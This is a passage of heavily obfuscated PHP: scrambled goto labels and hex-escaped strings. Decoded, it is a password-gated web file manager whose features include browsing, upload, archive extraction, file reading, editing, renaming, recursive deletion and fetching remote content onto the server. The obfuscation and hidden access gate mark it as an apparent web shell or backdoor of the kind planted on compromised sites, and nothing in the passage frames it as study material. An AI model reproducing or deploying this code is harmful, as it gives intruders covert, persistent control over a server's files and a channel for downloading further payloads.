zNO1R($_POST["\x61\162\x63\x68\151\x76\145\x5f\156\141\155\145"]); goto YwUqk; n2X9C: echo "\40\x20\x20\x20\x20\40\40\40\40\40\40\x20\40\40\40\x20\x3c\x2f\164\x62\157\144\x79\76\15\12\40\40\x20\40\40\40\40\x20\x20\x20\x20\x20\x3c\57\164\x61\x62\154\x65\x3e\xd\xa\40\40\x20\x20\x20\40\40\40\74\57\144\x69\166\x3e\15\12\x20\40\40\x20\x3c\57\144\151\166\76\15\12\xd\12\x20\x20\x20\40\74\41\x2d\x2d\x20\x45\144\151\164\x20\104\x69\x61\154\157\147\40\55\x2d\x3e\xd\12\40\40\40\x20\x3c\144\151\x76\x20\151\x64\x3d\x22\145\144\151\x74\104\151\141\154\157\147\x22\40\143\x6c\141\x73\163\x3d\42\146\x69\170\x65\x64\40\x69\x6e\x73\145\x74\55\60\x20\x62\147\55\x67\x72\x61\171\55\x36\x30\x30\x20\142\x67\55\x6f\x70\141\143\151\x74\x79\x2d\65\60\x20\150\x69\x64\x64\x65\156\40\x69\x74\x65\155\163\x2d\143\x65\156\164\x65\x72\40\x6a\165\x73\164\x69\146\x79\55\x63\x65\x6e\x74\145\162\40\166\x69\x76\151\x64\x2d\164\162\141\x6e\x73\x69\x74\x69\157\x6e\x22\76\15\12\40\40\x20\x20\40\40\40\x20\74\x64\151\x76\x20\143\154\x61\163\163\75\42\142\x67\55\x77\150\151\x74\145\x20\160\x2d\x38\x20\x72\x6f\165\156\x64\145\x64\x2d\x78\x6c\x20\163\x68\141\144\157\167\x2d\x78\154\x20\x77\x2d\146\165\x6c\154\x20\x6d\x61\x78\x2d\x77\x2d\x33\x78\154\x20\164\x72\x61\156\x73\146\157\x72\155\x20\163\143\x61\x6c\x65\55\71\65\x20\166\x69\166\151\144\55\x74\x72\141\x6e\163\151\x74\151\x6f\x6e\x22\76\xd\xa\40\x20\x20\40\x20\40\40\x20\x20\40\x20\x20\74\150\62\x20\143\154\141\x73\x73\x3d\42\x74\145\x78\164\x2d\x32\170\154\x20\x66\x6f\x6e\x74\x2d\142\x6f\x6c\x64\40\155\142\55\x36\40\164\x65\x78\x74\55\166\151\x76\151\x64\x2d\x63\150\x61\x72\143\157\141\x6c\42\76\x45\144\x69\x74\40\111\x74\145\155\74\57\x68\62\76\15\12\40\x20\x20\40\x20\40\40\x20\x20\40\40\x20\x3c\x66\x6f\x72\155\40\x69\144\x3d\42\x65\144\151\164\106\x6f\x72\155\x22\x20\x6d\145\164\x68\157\x64\x3d\42\x70\157\163\x74\42\76\15\xa\x20\x20\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\x20\74\151\x6e\160\165\164\x20\164\171\160\145\75\42\150\x69\x64\x64\x65\x6e\42\x20\156\141\155\x65\x3d\42\143\163\x72\146\x5f\x74\x6f\x6b\x65\156\x22\40\166\141\x6c\x75\145\75\x22"; goto tWGjL; Y3LxI: goto GNvyD; goto rcgmR; bc2im: echo "\15\12\40\x20\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\40\x20\x3c\x21\x2d\x2d\40\x46\157\x6c\144\145\162\163\40\x2d\55\x3e\15\xa\40\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\40\x20"; goto lhRVK; ri6nJ: ohQxi: goto Um9B7; IB34C: if ($HcnX3->extractTo($UyGf4)) { goto vQXUH; } goto Ucrww; p7raR: $Cc3_N = $UyGf4 . "\57" . $BOKAQ; goto v4fkp; H6_Uh: vsu2I: goto SLPz3; Jr6hd: U9GL6: goto nAVlY; LPb1A: if (!(isset($_POST["\x61\144\x64\137\146\151\x6c\x65"]) && !empty($_POST["\151\164\x65\155\137\x6e\141\155\145"]))) { goto vsu2I; } goto AoQU8; atiNZ: echo "\40\40\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\40\x20\74\144\x69\x76\40\143\x6c\x61\163\163\75\42\x62\147\55\x77\150\151\x74\145\40\x70\55\66\40\x72\x6f\x75\156\144\x65\144\x2d\170\x6c\40\163\x68\x61\x64\x6f\167\x2d\x78\x6c\x20\x76\151\166\151\x64\55\x68\157\x76\x65\162\x22\x3e\15\12\40\x20\40\40\x20\x20\x20\x20\x20\40\40\x20\40\40\40\40\x20\x20\x20\40\x3c\150\63\40\x63\154\141\x73\163\75\x22\x74\145\170\164\x2d\x78\154\40\146\157\156\x74\x2d\163\145\155\x69\142\x6f\x6c\144\40\155\142\x2d\x34\x20\164\x65\170\164\55\166\x69\166\x69\x64\x2d\x63\150\x61\x72\143\157\x61\154\42\x3e\106\145\164\143\150\x20\122\x65\x6d\x6f\x74\145\x20\x49\164\x65\155\x3c\x2f\x68\x33\x3e\15\12\x20\40\40\40\40\x20\x20\40\x20\40\40\40\40\40\x20\x20\40\40\40\x20\74\146\157\162\155\40\155\145\x74\x68\x6f\144\x3d\x22\160\x6f\x73\x74\42\40\x63\x6c\141\x73\x73\x3d\42\146\154\145\x78\x20\x73\x70\x61\143\x65\x2d\170\55\x33\42\x3e\15\12\40\40\x20\x20\x20\40\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\40\40\40\40\x20\74\151\156\x70\x75\164\40\x74\x79\160\x65\75\42\150\151\x64\x64\x65\x6e\42\x20\156\141\155\145\75\42\x63\163\x72\x66\x5f\x74\157\x6b\x65\156\42\x20\166\141\x6c\x75\x65\75\x22"; goto V83w2; aW2gQ: IUKiV: goto MYnzS; lVPL0: echo file_get_contents($f5xwD); goto k9D3j; grGj9: if (file_exists($Cc3_N) && !file_exists($N1y8k)) { goto lHkIz; } goto D6OVg; lkCg9: if (file_exists($xAY2y) && is_writable($xAY2y)) { goto UF6ry; } goto b1K7t; SqQJd: $Vjqae = strtolower(pathinfo($GpDM3["\x6e\x61\x6d\145"], PATHINFO_EXTENSION)); goto woUVw; yjRLJ: $DKH4N = "\106\x61\151\154\145\144\40\x74\157\40\157\x70\145\x6e\40\x61\x72\x63\x68\151\166\x65\x2e"; goto FZOWP; x3ezo: $DKH4N = "\x46\x69\154\145\40\141\154\x72\x65\x61\x64\171\40\145\170\151\x73\164\x73\x2e"; goto m_Nxc; G4i7T: Cesxo: goto RjKFq; tWGjL: echo htmlspecialchars($_SESSION["\143\163\x72\x66\137\164\157\x6b\x65\x6e"]); goto efl0n; ScnGe: goto onpA9; goto vZeSO; X62I5: $l4vH0 = $UyGf4 . "\57" . $XSEgQ; goto Bdm1a; y3gSM: echo "\46\x6f\x70\x65\162\x61\x74\x69\157\x6e\x3d\162\145\x74\x72\151\x65\x76\x65\137\x66\x69\154\145\x5f\143\x6f\156\x74\145\x6e\x74\46\x69\x74\145\x6d\x3d\x27\40\x2b\x20\145\x6e\143\157\x64\x65\x55\122\x49\x43\157\155\x70\157\156\x65\156\x74\50\151\164\145\x6d\x4e\x61\155\x65\x29\51\xd\xa\40\x20\40\40\x20\x20\x20\x20\40\x20\40\x20\x20\x20\x20\40\56\164\150\145\156\x28\x72\x65\x73\x70\x6f\156\x73\145\x20\x3d\x3e\40\x7b\xd\12\40\40\x20\40\40\x20\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\40\40\151\146\40\50\x21\162\x65\x73\160\x6f\x6e\x73\x65\56\x6f\153\51\x20\x74\x68\162\x6f\167\x20\156\145\167\x20\x45\162\162\157\x72\x28\x27\111\164\145\x6d\40\x6e\x6f\x74\x20\146\157\165\156\x64\47\x29\73\xd\xa\x20\40\x20\x20\x20\x20\x20\40\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\162\145\x74\x75\x72\156\x20\162\x65\x73\160\x6f\156\163\145\56\x74\145\x78\164\x28\51\x3b\xd\xa\40\40\x20\x20\x20\x20\x20\x20\x20\x20\40\x20\x20\40\x20\40\175\x29\15\xa\40\40\40\x20\x20\x20\x20\x20\40\x20\40\40\40\x20\40\x20\x2e\x74\150\145\156\50\x63\157\156\164\x65\156\164\x20\x3d\76\x20\x7b\15\xa\40\40\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\x20\40\40\40\40\x64\x6f\143\165\155\145\156\x74\x2e\x67\x65\164\105\154\145\155\x65\156\164\x42\x79\111\144\x28\47\145\x64\x69\x74\111\x74\x65\155\116\x61\155\x65\47\x29\x2e\x76\141\x6c\165\145\40\x3d\40\x69\164\x65\155\x4e\x61\155\x65\73\xd\xa\x20\40\40\40\x20\x20\40\x20\x20\40\x20\x20\40\40\x20\x20\40\40\x20\x20\144\157\x63\165\x6d\145\x6e\x74\56\147\x65\164\105\x6c\x65\x6d\145\x6e\164\x42\171\x49\x64\x28\47\x65\144\x69\164\111\x74\145\x6d\103\x6f\156\164\x65\x6e\x74\x27\x29\56\x76\141\x6c\x75\145\x20\75\x20\143\x6f\x6e\164\x65\156\164\x3b\xd\xa\40\40\x20\40\x20\x20\x20\40\x20\x20\x20\x20\x20\x20\40\40\40\x20\x20\40\157\160\x65\156\104\151\141\154\157\x67\x28\x27\145\144\x69\x74\104\151\x61\x6c\x6f\147\47\x29\x3b\xd\xa\x20\40\40\x20\40\40\x20\x20\40\40\40\x20\x20\40\x20\40\175\x29\xd\xa\40\40\40\40\x20\40\x20\40\40\x20\x20\40\x20\x20\40\x20\56\x63\x61\164\x63\150\50\x65\x72\x72\x6f\x72\40\x3d\76\40\x7b\15\12\x20\x20\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\40\40\40\x20\40\40\141\154\x65\x72\164\50\47\105\x72\162\x6f\162\40\154\x6f\x61\144\x69\x6e\x67\40\x69\x74\x65\x6d\40\x63\x6f\x6e\164\145\x6e\164\x3a\x20\x27\40\53\40\x65\162\x72\157\x72\x2e\x6d\145\163\x73\x61\147\x65\51\x3b\15\xa\40\40\40\40\40\40\x20\40\x20\x20\40\40\40\x20\40\x20\175\51\x3b\15\xa\40\x20\40\x20\40\x20\40\x20\x7d\xd\12\15\12\40\40\x20\40\x20\x20\x20\40\146\x75\x6e\x63\164\151\157\x6e\40\x6f\160\x65\x6e\122\x65\156\x61\x6d\x65\x44\x69\x61\x6c\x6f\x67\50\x69\x74\145\x6d\116\141\155\x65\51\x20\x7b\xd\xa\40\40\40\40\x20\40\x20\x20\40\x20\x20\40\x64\x6f\143\165\155\x65\x6e\x74\56\x67\145\164\105\x6c\145\155\145\x6e\x74\102\x79\x49\144\x28\47\x6f\x72\x69\147\x69\x6e\141\154\111\164\x65\x6d\116\x61\155\x65\47\51\56\166\141\x6c\165\x65\x20\x3d\40\151\x74\145\155\x4e\141\155\x65\73\15\xa\40\40\x20\x20\40\x20\x20\x20\40\x20\40\x20\x64\157\143\x75\155\145\156\164\x2e\147\x65\x74\x45\x6c\x65\155\145\156\164\x42\171\x49\144\50\47\156\x65\x77\111\164\x65\155\x4e\x61\155\145\x27\x29\56\x76\x61\154\165\145\x20\x3d\40\x69\164\x65\x6d\x4e\x61\x6d\145\73\15\12\x20\40\x20\x20\x20\40\40\x20\40\x20\x20\x20\x6f\160\x65\156\104\151\x61\154\x6f\147\50\47\x72\x65\x6e\x61\155\145\104\x69\x61\154\157\147\47\51\73\xd\12\x20\x20\x20\40\x20\x20\x20\40\175\15\12\15\xa\40\x20\40\40\40\x20\x20\x20\x66\165\x6e\143\x74\151\157\x6e\x20\x63\x6f\156\146\151\162\155\x44\145\154\145\164\145\x28\x69\164\x65\x6d\x4e\x61\155\x65\x29\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\40\x20\40\40\x69\146\40\x28\143\157\x6e\x66\151\x72\x6d\50\140\x41\162\x65\x20\x79\157\165\x20\163\165\x72\x65\x20\x79\157\x75\x20\x77\141\x6e\164\40\x74\157\40\x64\x65\x6c\x65\164\145\40\42\44\x7b\x69\164\x65\x6d\116\x61\155\145\175\42\x3f\x20\x54\x68\x69\163\40\141\x63\164\x69\x6f\156\x20\x63\141\156\156\157\164\40\142\x65\40\165\x6e\144\x6f\156\145\x2e\x60\51\x29\x20\x7b\xd\xa\x20\40\40\40\x20\x20\40\40\x20\40\x20\40\40\x20\40\x20\x63\x6f\x6e\163\164\40\146\157\162\155\40\x3d\x20\144\x6f\143\165\x6d\x65\x6e\x74\x2e\x63\162\x65\x61\164\x65\x45\x6c\145\x6d\145\x6e\164\x28\47\146\157\162\x6d\47\51\73\15\xa\40\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\40\x66\x6f\x72\155\56\155\x65\164\150\157\x64\40\x3d\x20\47\x70\x6f\x73\x74\x27\73\xd\12\x20\x20\40\40\40\40\x20\x20\40\40\40\x20\x20\x20\x20\40\146\157\162\x6d\56\151\x6e\156\x65\x72\110\x54\115\114\x20\x3d\40\140\xd\12\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\40\x20\40\x20\x20\40\40\x20\74\x69\x6e\160\x75\164\40\164\x79\x70\145\x3d\x22\x68\x69\x64\x64\145\156\42\40\x6e\x61\x6d\x65\x3d\42\143\163\162\146\137\x74\x6f\153\x65\x6e\42\40\166\x61\154\165\x65\x3d\42"; goto RKRBc; YChaf: goto ItQRC; goto D1_Qz; D1_Qz: Sv1yi: goto GV3it; CQNeC: $DKH4N = "\105\162\x72\157\162\x20\x75\x70\144\x61\164\x69\156\x67\40\x66\151\154\x65\56"; goto eIgbM; Poy8D: goto l6riZ; goto FRtJS; SRHNn: goto pbGNX; goto haRmB; BdAg2: function znO1R($xD9bO) { return preg_replace("\57\x5b\136\x61\x2d\x7a\101\55\x5a\60\x2d\71\56\x5f\55\x5d\x2f", '', trim($xD9bO)); } goto I6oBt; q3lJ7: pbGNX: goto OQPz9; kX0on: echo urlencode($UyGf4); goto y3gSM; ooNWl: zYkoR: goto gq13N; tVO8Z: if (!(isset($_GET["\157\x70\x65\x72\141\x74\151\157\156"]) && $_GET["\x6f\160\145\162\x61\x74\x69\x6f\156"] === "\162\x65\x74\x72\x69\x65\x76\145\x5f\x66\151\154\x65\137\143\x6f\x6e\x74\145\156\x74" && isset($_GET["\151\x74\145\155"]))) { goto t1Ohe; } goto ZGMPl; eDJC3: echo "\xd\xa\40\x20\x20\40\x20\x20\40\40\40\40\40\x20\x3c\x21\104\117\x43\x54\131\x50\x45\x20\150\164\x6d\x6c\x3e\xd\12\x20\x20\40\x20\x20\40\x20\x20\x20\40\40\x20\74\150\x74\x6d\154\40\154\x61\x6e\x67\75\42\x65\x6e\42\x3e\15\12\40\x20\x20\40\x20\40\x20\40\40\40\x20\x20\x3c\150\x65\141\144\x3e\15\12\40\x20\40\x20\40\x20\x20\40\40\40\40\40\x20\40\x20\x20\x3c\x6d\x65\164\141\40\143\x68\141\162\x73\145\164\75\42\x55\x54\106\x2d\x38\42\76\15\12\x20\x20\x20\40\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\74\x6d\x65\164\x61\x20\x6e\141\x6d\145\75\42\166\151\x65\167\x70\x6f\x72\164\x22\x20\x63\x6f\156\164\x65\156\164\x3d\42\167\151\x64\x74\150\x3d\144\x65\166\151\x63\145\55\167\x69\144\164\150\54\x20\x69\x6e\x69\x74\151\x61\x6c\55\x73\143\x61\154\145\x3d\x31\x2e\60\42\x3e\xd\12\40\x20\x20\x20\x20\x20\40\x20\x20\x20\40\x20\40\40\40\40\x3c\164\151\164\x6c\145\x3e\x41\x63\x63\145\163\163\40\x44\x65\156\151\145\x64\74\57\x74\x69\164\x6c\x65\76\15\12\40\40\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\74\x73\x63\162\x69\160\x74\40\x73\x72\x63\x3d\42\150\164\164\x70\x73\x3a\57\x2f\x63\144\x6e\x2e\164\x61\151\x6c\167\x69\x6e\x64\143\x73\163\56\143\157\155\x22\x3e\74\57\163\x63\x72\151\160\164\76\xd\xa\x20\40\40\x20\40\40\40\x20\40\40\x20\x20\74\57\150\145\x61\144\x3e\15\xa\40\40\40\40\x20\x20\40\x20\x20\40\40\x20\74\142\157\x64\171\40\x63\154\x61\163\163\x3d\42\x62\147\x2d\166\151\x76\151\144\x2d\163\x6c\141\x74\x65\x20\x6d\151\156\55\150\x2d\163\143\162\145\x65\x6e\x20\146\154\145\170\40\151\164\x65\x6d\x73\55\143\145\x6e\x74\x65\x72\40\152\x75\x73\x74\151\146\x79\55\143\145\x6e\164\x65\162\42\x3e\15\12\40\x20\40\x20\x20\x20\40\x20\40\40\40\40\x20\x20\40\x20\x3c\144\x69\166\x20\x63\x6c\x61\x73\x73\75\x22\142\x67\55\x77\150\151\x74\x65\x20\160\55\x38\40\x72\157\165\156\144\x65\144\x2d\x78\x6c\40\x73\150\x61\x64\x6f\167\x2d\x78\x6c\40\x77\55\146\x75\x6c\154\x20\x6d\141\170\55\x77\x2d\155\144\42\x3e\xd\xa\40\40\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\40\x20\x20\x20\74\x68\x32\40\x63\x6c\x61\x73\163\75\42\x74\x65\170\x74\x2d\62\170\x6c\40\146\x6f\x6e\x74\55\142\x6f\x6c\144\40\155\142\55\66\x20\x74\145\170\x74\55\x63\145\156\164\145\x72\x20\164\145\x78\x74\55\x76\x69\166\x69\x64\x2d\143\150\x61\162\x63\157\x61\x6c\42\x3e\x53\145\x63\x75\162\x65\x20\x41\x63\143\x65\163\x73\40\x52\x65\161\x75\151\162\x65\144\x3c\x2f\150\62\x3e\xd\12\40\40\x20\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\40\x3c\146\x6f\162\x6d\x20\155\x65\164\x68\157\144\75\x22\x50\x4f\x53\124\x22\76\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\x20\x20\x20\x20\40\x20\40\x20\40\x20\40\x20\40\40\x20\x3c\151\x6e\x70\x75\164\x20\x74\171\x70\x65\x3d\42\150\151\x64\144\x65\156\x22\x20\x6e\141\155\x65\75\42\x63\x73\162\x66\x5f\x74\x6f\x6b\x65\156\x22\40\x76\x61\154\165\x65\x3d\42" . htmlspecialchars($_SESSION["\143\163\162\x66\x5f\164\x6f\x6b\x65\156"]) . "\42\x3e\xd\xa\x20\x20\40\x20\40\x20\x20\40\40\40\x20\40\x20\40\x20\40\x20\40\x20\x20\x20\x20\x20\x20\x3c\x69\156\160\165\164\40\164\x79\160\x65\x3d\x22\x70\141\163\163\x77\157\162\144\x22\40\x6e\x61\x6d\145\75\42\163\x65\x63\x75\162\145\x5f\x6b\x65\x79\x22\x20\x63\x6c\141\163\163\x3d\42\x77\55\146\x75\154\154\x20\x70\55\x33\40\x62\x6f\162\144\x65\x72\x20\162\157\x75\156\144\x65\144\55\154\147\x20\155\142\x2d\x34\40\x66\x6f\143\x75\x73\x3a\x6f\x75\x74\154\151\156\145\55\x6e\157\156\145\40\x66\x6f\x63\x75\163\72\x72\151\x6e\x67\x2d\x32\40\146\157\143\165\x73\72\162\x69\x6e\147\x2d\166\x69\x76\151\x64\55\164\x65\x61\x6c\42\40\160\x6c\x61\x63\x65\x68\x6f\x6c\x64\x65\x72\75\x22\x45\x6e\x74\x65\x72\40\x73\x65\x63\165\162\x65\40\x6b\x65\x79\42\x20\162\x65\161\x75\151\162\x65\144\40\141\165\164\x6f\146\157\143\x75\163\x3e\xd\xa\40\40\x20\40\40\40\x20\x20\x20\40\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\40\40\74\142\165\164\x74\157\x6e\x20\x74\x79\x70\x65\75\42\x73\x75\x62\155\x69\x74\42\40\143\x6c\x61\x73\163\75\x22\x77\x2d\146\165\154\x6c\40\x62\x67\x2d\166\151\166\x69\x64\x2d\164\145\141\x6c\x20\x74\145\x78\164\x2d\x77\150\x69\x74\x65\x20\x70\55\x33\40\x72\x6f\x75\x6e\x64\x65\x64\x2d\x6c\147\40\150\157\166\x65\162\72\142\147\x2d\166\x69\166\151\144\55\x74\x65\x61\x6c\55\144\141\x72\x6b\x20\164\162\x61\x6e\x73\151\164\x69\x6f\x6e\x22\76\125\156\154\x6f\143\153\74\x2f\x62\165\164\164\157\x6e\76\15\xa\40\40\40\40\x20\40\40\x20\40\x20\40\x20\x20\40\x20\40\x20\40\x20\x20\74\x2f\x66\157\162\x6d\76\15\12\x20\40\x20\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\x20\x3c\57\x64\x69\x76\76\xd\12\40\40\40\x20\x20\x20\40\x20\40\40\40\40\x3c\x2f\142\157\144\171\x3e\xd\xa\40\40\40\40\40\40\x20\x20\x20\40\40\x20\74\x2f\x68\164\155\154\x3e\xd\xa\40\40\40\x20\x20\x20\40\x20\40\40\x20\40"; goto utItD; mwnF6: GNvyD: goto q3lJ7; mLzqT: $Nu004 = ZNO1r($_POST["\x6e\x65\x77\x5f\156\x61\155\145"]); goto p7raR; pT5Cn: echo shY4q($UyGf4, $RN9dg); goto ltEu3; x7QnY: $XSEgQ = zNO1R(basename($MhPPM)); goto X62I5; ECHTC: $DKH4N = "\x49\x6e\x76\x61\x6c\x69\x64\40\146\151\154\145\x20\x74\171\160\145\x20\157\162\40\x73\x69\172\145\40\x65\x78\x63\x65\145\144\x73\x20\154\x69\x6d\x69\164\x2e"; goto mqeiq; pQHOD: $RN9dg = realpath(__DIR__); goto Xy9nq; LSpRx: $XSEgQ = Zno1r($_POST["\x69\164\145\155\x5f\156\141\x6d\145"]); goto cfqQy; vZeSO: PqdoF: goto U2YH7; A3raI: dKdrD: goto H6_Uh; X174h: if (!(isset($_POST["\141\x64\144\x5f\x64\151\x72\x65\143\164\157\162\x79"]) && !empty($_POST["\x66\x6f\x6c\144\x65\x72\137\156\x61\x6d\x65"]))) { goto VHTWA; } goto CxVnM; tlrMv: $GpDM3 = $_FILES["\165\160\x6c\x6f\141\x64\x65\144\x5f\x69\164\x65\155"]; goto SqQJd; rBbRI: wU4e6: goto QUnki; ltEu3: echo "\x3c\x2f\x6e\x61\166\x3e\xd\xa\xd\xa\40\x20\40\x20\x20\x20\40\40\x3c\x21\55\x2d\40\x41\x6c\x65\162\164\40\115\145\163\163\141\147\x65\40\55\55\x3e\xd\xa\x20\40\40\x20\40\40\x20\x20"; goto kVf3f; H5acy: if ($AUqcU !== false && file_put_contents($l4vH0, $AUqcU) !== false) { goto lu4Ix; } goto QfXRK; Xtn5l: SIh_6: goto r8J0S; QakTV: gWWpv: goto F7tPf; drdzC: if (!(isset($_POST["\162\x65\x6e\x61\x6d\x65\137\x69\x74\x65\x6d"]) && !empty($_POST["\157\x72\x69\147\x69\156\141\154\x5f\x6e\141\x6d\x65"]) && !empty($_POST["\156\145\x77\137\x6e\141\x6d\145"]))) { goto CtH4i; } goto NLGc2; NHwLm: $isu4D = $UyGf4 . "\57" . $P1G3L; goto tZSvJ; UH0Ge: goto un7QD; goto kP7Hi; AoLSc: $DKH4N = "\x45\162\x72\x6f\162\x20\x72\145\156\x61\155\151\x6e\147\x20\151\x74\x65\x6d\x2e"; goto YChaf; YprUx: goto iNVjM; goto vE_v1; FPOV3: if (is_file($xAY2y)) { goto Dk8bd; } goto C3JLD; KwgZJ: $_SESSION["\x63\163\162\146\x5f\164\x6f\153\x65\156"] = bin2hex(random_bytes(32)); goto QakTV; ldA_Q: if (!file_exists($HdMJq)) { goto p398x; } goto x3ezo; B3Ml1: goto fSqKS; goto ri6nJ; GOdpt: function SHy4q($DpTy4, $RN9dg) { goto eEo_o; y_fZO: w1kAA: goto o8uGA; zQ3d6: foreach ($LfFfM as $Ubd_C) { goto HqBbI; glOjn: f2TvR: goto OoYlK; mNd45: $MmBvh[] = "\74\163\160\141\x6e\40\143\154\x61\x73\x73\x3d\42\164\x65\170\164\55\x67\x72\141\x79\x2d\x35\x30\60\42\76" . htmlspecialchars($Ubd_C) . "\74\x2f\163\x70\141\156\76"; goto aEezV; aEezV: goto bF6a9; goto OTopa; TPJvK: bF6a9: goto glOjn; OTopa: Ff0TG: goto enmug; ryloq: if (is_dir($iznt4) && is_readable($iznt4)) { goto Ff0TG; } goto mNd45; HqBbI: $iznt4 .= DIRECTORY_SEPARATOR . $Ubd_C; goto ryloq; enmug: $MmBvh[] = "\74\141\x20\150\162\x65\x66\x3d\42\77\x77\157\162\x6b\163\x70\x61\x63\x65\75" . urlencode($iznt4) . "\42\40\x63\x6c\141\163\163\75\x22\164\x65\170\x74\x2d\x76\x69\x76\151\144\55\164\145\141\x6c\x20\150\x6f\x76\145\162\x3a\x75\x6e\x64\x65\x72\x6c\151\156\x65\42\76" . htmlspecialchars($Ubd_C) . "\x3c\57\141\x3e"; goto TPJvK; OoYlK: } goto y_fZO; hwU6K: $MmBvh = []; goto eBGHN; eBGHN: $iznt4 = $RN9dg; goto WzkIu; vsRGl: ENrcV: goto l9FwI; o8uGA: return implode("\x20\74\163\160\x61\x6e\40\143\154\141\163\x73\x3d\42\x74\145\170\164\x2d\166\x69\166\x69\x64\55\x63\x68\141\x72\x63\157\141\x6c\40\x6d\x78\x2d\x31\x22\x3e\57\x3c\x2f\x73\x70\141\x6e\76\40", $MmBvh); goto UuSMg; l9FwI: $HwrKY = substr($DpTy4, strlen($RN9dg)); goto Tgksx; Tgksx: $LfFfM = array_filter(explode(DIRECTORY_SEPARATOR, $HwrKY)); goto hwU6K; WzkIu: $MmBvh[] = "\74\141\40\150\x72\x65\146\75\x22\x3f\x77\x6f\x72\153\x73\x70\141\143\145\x3d" . urlencode($RN9dg) . "\x22\40\x63\154\x61\x73\x73\x3d\x22\x74\x65\170\164\55\x76\x69\x76\151\x64\55\x74\x65\x61\154\x20\150\157\166\x65\x72\72\165\x6e\x64\x65\162\x6c\151\x6e\145\x20\146\x6f\156\x74\55\163\x65\155\x69\x62\157\x6c\144\x22\76\122\157\157\x74\74\x2f\141\x3e"; goto zQ3d6; eEo_o: if (!(strpos($DpTy4, $RN9dg) !== 0)) { goto ENrcV; } goto z1LGy; z1LGy: return "\x3c\163\160\141\x6e\x20\x63\154\x61\163\163\75\x22\164\x65\170\164\x2d\162\x65\x64\55\x35\x30\x30\42\x3e\x49\156\166\141\154\151\x64\x20\160\x61\164\x68\x3c\57\x73\x70\141\x6e\x3e"; goto vsRGl; UuSMg: } goto o_YuU; GqDdp: $DKH4N = $bwxdH ? "\106\157\154\144\x65\x72\40\x64\145\x6c\145\x74\x65\x64\40\x73\x75\x63\143\x65\x73\x73\146\165\154\154\x79\x2e" : "\105\x72\162\x6f\x72\x20\x64\x65\x6c\x65\164\x69\156\147\40\146\x6f\x6c\x64\145\162\56"; goto XYIgS; xjUUI: if (password_verify($_POST["\163\145\143\165\x72\145\137\x6b\145\171"], $WGk33)) { goto RzJMB; } goto aTPSO; OY6E3: goto rwOYV; goto xNcuq; lJkdx: Dk8bd: goto Kv3l1; jqJC3: $st1pL = true; goto j5f23; eIgbM: goto EWOGW; goto Hfcg3; tZSvJ: if (!is_dir($isu4D)) { goto mNuwv; } goto G3_fu; HF3ib: $DKH4N = "\106\x69\x6c\145\x20\x75\160\x64\x61\x74\145\x64\x20\x73\x75\x63\x63\145\x73\163\146\165\154\154\171\x2e"; goto JVO84; PqAGu: pTXEj: goto N1kwB; C3JLD: goto U9GL6; goto scU2Z; D6OVg: $DKH4N = "\111\x6e\166\x61\x6c\151\x64\40\x73\x6f\165\x72\143\x65\40\157\162\x20\x64\145\163\164\151\156\x61\164\x69\x6f\x6e\40\156\x61\x6d\145\56"; goto Qm7yr; kVf3f: if (!isset($DKH4N)) { goto zYkoR; } goto y3iPX; NLGc2: $BOKAQ = ZnO1r($_POST["\x6f\x72\x69\x67\x69\x6e\x61\x6c\x5f\156\141\x6d\x65"]); goto mLzqT; RKRBc: echo htmlspecialchars($_SESSION["\x63\163\x72\x66\137\x74\157\x6b\145\156"]); goto K2rz_; joBYM: x2JdP: goto mjAZx; iZjRM: $aBnyl = true; goto dP3kX; Zrf0Y: SGPJe: goto bc2im; AM5Ni: goto s77P6; goto gh_lz; XYIgS: goto U9GL6; goto lJkdx; VagIK: P7qdn: goto drdzC; o_YuU: function AIQPu($dKtL0) { goto bOeJ4; YEf3F: foreach (scandir($dKtL0) as $Ei6vG) { goto U4Kq2; TE_ig: pN2fY: goto GSXPG; u_a41: goto pN2fY; goto Wy0vp; grLG0: VTgyb: goto TE_ig; JYICJ: return false; goto grLG0; U4Kq2: if (!($Ei6vG == "\56" || $Ei6vG == "\x2e\x2e")) { goto i0shn; } goto u_a41; DfVHb: if (AIqPU($dKtL0 . "\57" . $Ei6vG)) { goto VTgyb; } goto JYICJ; Wy0vp: i0shn: goto DfVHb; GSXPG: } goto Tbnu6; bOeJ4: if (file_exists($dKtL0)) { goto vuAKQ; } goto cjbcU; lslRh: return unlink($dKtL0); goto FlyTq; FlyTq: OH2yM: goto YEf3F; YI_0v: vuAKQ: goto dqPvG; dqPvG: if (is_dir($dKtL0)) { goto OH2yM; } goto lslRh; Tbnu6: VJzh3: goto krihY; krihY: return rmdir($dKtL0); goto oTaSd; cjbcU: return true; goto YI_0v; oTaSd: } goto npAQS; KxLIM: TGOcS: goto g9sUN; wDVmV: echo htmlspecialchars($_SESSION["\143\x73\x72\x66\137\x74\157\153\x65\156"]); goto RkyCs; I6oBt: function AvBxS($fQKS1) { goto zkBzL; hE0mC: return number_format($fQKS1 / 1073741824, 2) . "\40\107\102"; goto UIHRn; t49pK: qqAk6: goto AHK69; UIHRn: fLflo: goto vCzP8; AHK69: return $fQKS1 . "\40\x62\x79\x74\x65\x73"; goto DXd5s; zkBzL: if (!($fQKS1 >= 1073741824)) { goto fLflo; } goto hE0mC; Sap5F: return number_format($fQKS1 / 1024, 2) . "\40\x4b\102"; goto t49pK; B9gnc: if (!($fQKS1 >= 1024)) { goto qqAk6; } goto Sap5F; vCzP8: if (!($fQKS1 >= 1048576)) { goto xrOPx; } goto gpwA8; gpwA8: return number_format($fQKS1 / 1048576, 2) . "\40\115\x42"; goto fjnfC; fjnfC: xrOPx: goto 